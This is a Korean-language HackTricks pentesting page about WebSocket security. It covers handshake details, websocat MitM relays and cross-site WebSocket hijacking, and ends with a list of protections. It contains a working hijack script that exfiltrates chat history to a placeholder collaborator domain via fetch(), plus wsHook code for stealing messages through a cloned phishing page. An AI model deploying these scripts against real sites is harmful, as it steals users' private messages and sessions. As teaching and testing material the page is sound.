WebSocket 공격

Reading time: 9 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

WebSocket이란 무엇인가

WebSocket 연결은 초기 HTTP 핸드셰이크를 통해 설정되며, 장기 지속을 위해 설계되어 언제든지 양방향 메시징이 가능하게 하여 거래 시스템이 필요하지 않습니다. 이는 WebSocket이 낮은 대기 시간 또는 서버 시작 통신이 필요한 애플리케이션, 예를 들어 실시간 금융 데이터 스트림에 특히 유리하게 만듭니다.

WebSocket 연결의 설정

WebSocket 연결 설정에 대한 자세한 설명은 여기에서 확인할 수 있습니다. 요약하자면, WebSocket 연결은 일반적으로 아래와 같이 클라이언트 측 JavaScript를 통해 시작됩니다:

javascript
var ws = new WebSocket("wss://normal-website.com/ws")

wss 프로토콜은 TLS로 보호된 WebSocket 연결을 의미하며, ws보안되지 않은 연결을 나타냅니다.

연결 설정 중에 브라우저와 서버 간에 HTTP를 통해 핸드셰이크가 수행됩니다. 핸드셰이크 과정은 브라우저가 요청을 보내고 서버가 응답하는 것으로 구성되며, 다음 예시에서 설명됩니다:

브라우저가 핸드셰이크 요청을 보냅니다:

javascript
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket

서버의 핸드셰이크 응답:

javascript
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=

연결이 설정되면 양방향으로 메시지 교환을 위해 열려 있습니다.

WebSocket 핸드셰이크의 주요 사항:

  • ConnectionUpgrade 헤더는 WebSocket 핸드셰이크의 시작을 알립니다.
  • Sec-WebSocket-Version 헤더는 원하는 WebSocket 프로토콜 버전을 나타내며, 일반적으로 13입니다.
  • Base64로 인코딩된 무작위 값이 Sec-WebSocket-Key 헤더에 전송되어 각 핸드셰이크가 고유하도록 보장하며, 이는 캐싱 프록시와 관련된 문제를 방지하는 데 도움이 됩니다. 이 값은 인증을 위한 것이 아니라 응답이 잘못 구성된 서버나 캐시에서 생성되지 않았음을 확인하기 위한 것입니다.
  • 서버의 응답에 있는 Sec-WebSocket-Accept 헤더는 Sec-WebSocket-Key의 해시로, WebSocket 연결을 열려는 서버의 의도를 검증합니다.

이러한 기능은 핸드셰이크 프로세스가 안전하고 신뢰할 수 있도록 보장하여 효율적인 실시간 통신을 위한 길을 열어줍니다.

Linux 콘솔

websocat을 사용하여 websocket과의 원시 연결을 설정할 수 있습니다.

bash
websocat --insecure wss://10.10.10.10:8000 -v

웹소켓 서버를 생성하려면:

bash
websocat -s 0.0.0.0:8000 #Listen in port 8000

MitM websocket 연결

현재 로컬 네트워크에서 클라이언트가 HTTP websocket에 연결되어 있는 것을 발견하면, 클라이언트와 서버 간의 MitM 공격을 수행하기 위해 ARP Spoofing Attack을 시도할 수 있습니다.
클라이언트가 연결을 시도할 때, 다음을 사용할 수 있습니다:

bash
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v

Websockets enumeration

도구 https://github.com/PalindromeLabs/STEWS 를 사용하여 웹소켓에서 알려진 취약점을 자동으로 발견하고, 지문을 찍고, 검색할 수 있습니다.

Websocket Debug tools

  • Burp Suite는 일반 HTTP 통신과 매우 유사한 방식으로 MitM 웹소켓 통신을 지원합니다.
  • socketsleuth Burp Suite 확장히스토리를 가져오고, 가로채기 규칙을 설정하고, 일치 및 교체 규칙을 사용하고, IntruderAutoRepeater를 사용하여 Burp에서 웹소켓 통신을 더 잘 관리할 수 있게 해줍니다.
  • WSSiP: "WebSocket/Socket.io Proxy"의 약자로, Node.js로 작성된 이 도구는 클라이언트와 서버 간의 모든 WebSocket 및 Socket.IO 통신을 캡처, 가로채기, 사용자 정의 메시지를 전송하고 볼 수 있는 사용자 인터페이스를 제공합니다.
  • wsrepl는 침투 테스트를 위해 특별히 설계된 대화형 웹소켓 REPL입니다. 들어오는 웹소켓 메시지를 관찰하고 새로운 메시지를 전송할 수 있는 인터페이스를 제공하며, 이 통신을 자동화하기 위한 사용하기 쉬운 프레임워크를 제공합니다.
  • https://websocketking.com/웹소켓을 사용하여 다른 웹과 통신하는 입니다.
  • https://hoppscotch.io/realtime/websocket는 다른 유형의 통신/프로토콜 중에서 웹소켓을 사용하여 다른 웹과 통신하는 을 제공합니다.

Decrypting Websocket

Websocket Lab

Burp-Suite-Extender-Montoya-Course에서 웹소켓을 사용하여 웹을 시작하는 코드를 찾을 수 있으며, 이 게시물에서 설명을 찾을 수 있습니다.

Websocket Fuzzing

Burp 확장 Backslash Powered Scanner는 이제 웹소켓 메시지도 퍼징할 수 있습니다. 이에 대한 더 많은 정보는 여기에서 읽을 수 있습니다.

Cross-site WebSocket hijacking (CSWSH)

교차 사이트 웹소켓 하이재킹교차 출처 웹소켓 하이재킹으로도 알려져 있으며, 웹소켓 핸드셰이크에 영향을 미치는 **교차 사이트 요청 위조 (CSRF)**의 특정 사례로 식별됩니다. 이 취약점은 웹소켓 핸드셰이크가 CSRF 토큰이나 유사한 보안 조치 없이 오직 HTTP 쿠키를 통해 인증될 때 발생합니다.

공격자는 취약한 애플리케이션에 대한 교차 사이트 웹소켓 연결을 시작하는 악성 웹 페이지를 호스팅하여 이를 악용할 수 있습니다. 결과적으로 이 연결은 애플리케이션과의 피해자의 세션의 일부로 간주되며, 세션 처리 메커니즘에서 CSRF 보호가 부족한 점을 악용합니다.

이 공격이 작동하기 위해서는 다음과 같은 요구 사항이 있습니다:

  • 웹소켓 인증은 쿠키 기반이어야 합니다.
  • 쿠키는 공격자의 서버에서 접근 가능해야 합니다 (이는 일반적으로 **SameSite=None**을 의미하며, Firefox에서 Firefox Total Cookie Protection이 활성화되지 않아야 하고 Chrome에서 차단된 제3자 쿠키가 없어야 합니다).
  • 웹소켓 서버는 연결의 출처를 확인하지 않아야 합니다 (또는 이를 우회할 수 있어야 합니다).

또한:

  • 인증이 로컬 연결(로컬호스트 또는 로컬 네트워크)에 기반하는 경우 공격이 가능합니다. 현재 보호 조치가 이를 금지하지 않기 때문입니다 (자세한 정보는 여기에서 확인하세요).

Simple Attack

웹소켓 연결을 설정할 때 쿠키서버전송된다는 점에 유의하세요. 서버는 이를 사용하여 각 특정 사용자와 그의 웹소켓 세션을 전송된 쿠키를 기반으로 연관시킬 수 있습니다.

그런 다음, 예를 들어 웹소켓 서버가 사용자의 대화 히스토리전송하는 경우, "READY"라는 메시지가 전송되면, 간단한 XSS가 연결을 설정하고 (이때 쿠키가 피해자 사용자를 인증하기 위해 자동으로 전송됨) "READY"를 전송하면 대화의 히스토리가져올 수 있습니다.

html
<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>

이 블로그 게시물 https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/에서 공격자는 웹 소켓 통신이 발생하는 도메인의 서브도메인에서 임의의 Javascript를 실행하는 데 성공했습니다. 서브도메인이었기 때문에 쿠키전송되었고, 웹소켓이 Origin을 제대로 확인하지 않았기 때문에, 이를 통해 통신하고 토큰을 훔치는 것이 가능했습니다.

Stealing data from user

당신이 가장하고 싶은 웹 애플리케이션을 복사하세요 (예: .html 파일) 그리고 웹소켓 통신이 발생하는 스크립트 안에 이 코드를 추가하세요:

javascript
//This is the script tag to load the websocket hooker
;<script src="wsHook.js"></script>

//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function (data, url) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "client_msg?m=" + data, true)
xhttp.send()
}
wsHook.after = function (messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "server_msg?m=" + messageEvent.data, true)
xhttp.send()
return messageEvent
}

이제 wsHook.js 파일을 https://github.com/skepticfx/wshook에서 다운로드하고 웹 파일이 있는 폴더에 저장하세요.
웹 애플리케이션을 노출시키고 사용자가 연결하게 하면 websocket을 통해 전송된 메시지와 수신된 메시지를 훔칠 수 있습니다:

javascript
sudo python3 -m http.server 80

CSWSH 보호

CSWSH 공격은 사용자가 악성 페이지에 연결하여 웹소켓 연결을 열고 사용자가 이미 연결된 웹 페이지에 인증하는 사실에 기반합니다. 요청은 사용자의 쿠키를 전송합니다.

현재 이 문제를 방지하는 것은 매우 쉽습니다:

  • 웹소켓 서버의 출처 확인: 웹소켓 서버는 항상 사용자가 어디에서 연결하고 있는지 확인하여 예기치 않은 페이지가 연결되는 것을 방지해야 합니다.
  • 인증 토큰: 인증을 쿠키에 기반하기보다는, 웹소켓 연결을 공격자에게 알려지지 않은 사용자에 대해 서버에서 생성된 토큰에 기반할 수 있습니다 (예: anti-CSRF 토큰).
  • SameSite 쿠키 속성: SameSite 값이 Lax 또는 Strict인 쿠키는 외부 공격자의 페이지에서 피해자 서버로 전송되지 않으므로, 쿠키 기반 인증이 성공하지 않습니다. Chrome은 이제 이 플래그가 지정되지 않은 쿠키에 Lax 값을 기본적으로 설정하여 더 안전하게 만듭니다. 그러나 쿠키가 생성된 첫 2분 동안은 None 값을 가지므로 그 제한된 시간 동안 취약합니다 (이 조치가 언젠가는 제거될 것으로 예상됩니다).
  • Firefox 전체 쿠키 보호: 전체 쿠키 보호는 쿠키를 생성된 사이트에 격리하여 작동합니다. 본질적으로 각 사이트는 제3자가 사용자의 브라우징 기록을 연결하지 못하도록 자체 쿠키 저장소 파티션을 가집니다. 이는 CSWSH를 사용할 수 없게 만듭니다. 공격자의 사이트는 쿠키에 접근할 수 없습니다.
  • Chrome 제3자 쿠키 차단: 이는 SameSite=None일지라도 인증된 사용자의 쿠키가 웹소켓 서버로 전송되는 것을 방지할 수 있습니다.

경쟁 조건

웹소켓의 경쟁 조건도 존재합니다, 자세한 정보를 확인하세요.

기타 취약점

웹소켓은 서버 측과 클라이언트 측에 데이터를 전송하는 메커니즘이므로, 서버와 클라이언트가 정보를 처리하는 방식에 따라 웹소켓은 XSS, SQLi 또는 웹에서 일반적으로 발생하는 다른 취약점을 악용하는 데 사용될 수 있습니다.

웹소켓 스머글링

이 취약점은 역방향 프록시 제한을 우회할 수 있게 해주며, 웹소켓 통신이 설정되었다고 믿게 만들 수 있습니다 (사실이 아닐지라도). 이는 공격자가 숨겨진 엔드포인트에 접근할 수 있게 해줍니다. 더 많은 정보는 다음 페이지를 확인하세요:

Upgrade Header Smuggling

참고 문헌

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기